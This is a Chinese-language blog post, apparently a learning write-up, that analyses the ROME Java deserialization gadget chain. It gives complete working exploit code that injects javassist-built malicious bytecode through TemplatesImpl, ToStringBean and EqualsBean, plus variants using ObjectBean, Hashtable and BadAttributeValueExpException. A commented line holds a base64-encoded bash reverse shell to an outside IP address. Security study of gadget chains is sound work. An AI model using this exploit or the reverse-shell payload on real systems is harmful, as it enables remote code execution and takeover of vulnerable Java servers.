java反序列化之ROME链
前情提要:
ROME是一个可以兼容多种格式的feeds解析器,可以将一种对象转换成另一种格式(指定格式或java对象)
他提供了ToStringBean这个类,提供深入的toString方法对javaBean进行操作
环境:
jdk8u65
pom.xml:
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
流程分析:
首先是从导入的rome包里面看一眼,搜一下相关关键字发现什么都没有,比如jndi关键字
其实这里是因为rome包只是这个链子的一部分也就是一个sink,是因为有他才完善了一条链子

这里看其他师傅的链尾是TemplatesImpl.getOutputProperties(),很熟悉,在cc里面见过,这里我们按照常规思路应该是去找find usages,但是发现找不到

这里很厉害的一个地方就是链子的下一步是(在rome包里面)ToStringBean.toString(),看一下

发现就是BeanIntrospector.getPropertyDescriptors(_beanClass)获取一个_beanClass中的getter方法,如果不为空且能调用该方法且可以传参,判断完之后就会执行invoke
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
这里看到invoke其实有的人就有可能知道为什么链尾是tostring了,因为该invoke是可以触发TemplatesImpl.getOutputProperties() 的方法的
然后跟进去看一下_beanClass和_obj在构造函数的时候就会被赋值

那现在就是去找谁调用tostring了,这用到了rome包中的类EqualsBean ,跟进去看一下发现有一个hashcode方法

看到这个方法就可以想到我们之前学习cc链的时候的hashmap相关的那条链,这里也是完美契合的

原生exp编写
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class RomEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Drunkbaby");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Class c = templates.getClass();
Field byteCodesField = c.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] evil = getTemplatesImpl("Calc");
byte[][] codes = {evil};
byteCodesField.set(templates,codes);
// templates.newTransformer();
ToStringBean toStringBean = new ToStringBean(c,templates);
// toStringBean.toString();
Class toStringBeanEvil = toStringBean.getClass();
EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"Zephyr");
serialize(hashMap);
unserialize("ser.bin");
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
其它利用链:
1.用objectBean替换equalsbean
exp基本不变,就变了一句
ObjectBean objectBean = new ObjectBean(toStringBeanEvil,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"Zephyr");
2.用hashtable替换hashmap
和之前一条cc链差不多,现在的poc里面hashmap会有一个put的操作,但是在hashtable里面,对于hashtable的每个元素,都会调用reconstitutionPut方法,具体的可以自己再去跟一下代码
Hashtable hashtable= new Hashtable();
hashtable.put(equalsBean,"Zephyr");
serialize(hashtable);
3.BadAttributeValueExpException 利用链
不知道大家还是否记得在cc中有个类也可以调用tostring方法,就是BadAttributeValueExpException类的readobject中可以调用任意类的tostring()方法

替换exp
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
替换下面照片中红色的一块

注意:
上述代码都是用javassist生成的恶意字节码,因为javassist 缩短 payload 长度
原因是:
传统 Java 编译会包含调试信息、行号表、局部变量表等,而 Javassist 可以在生成时移除这些信息
总结:
总体来说,这条链还是简单一点,主要就是用到了rome包中的两个类来作为这条链的sink~

浙公网安备 33010602011771号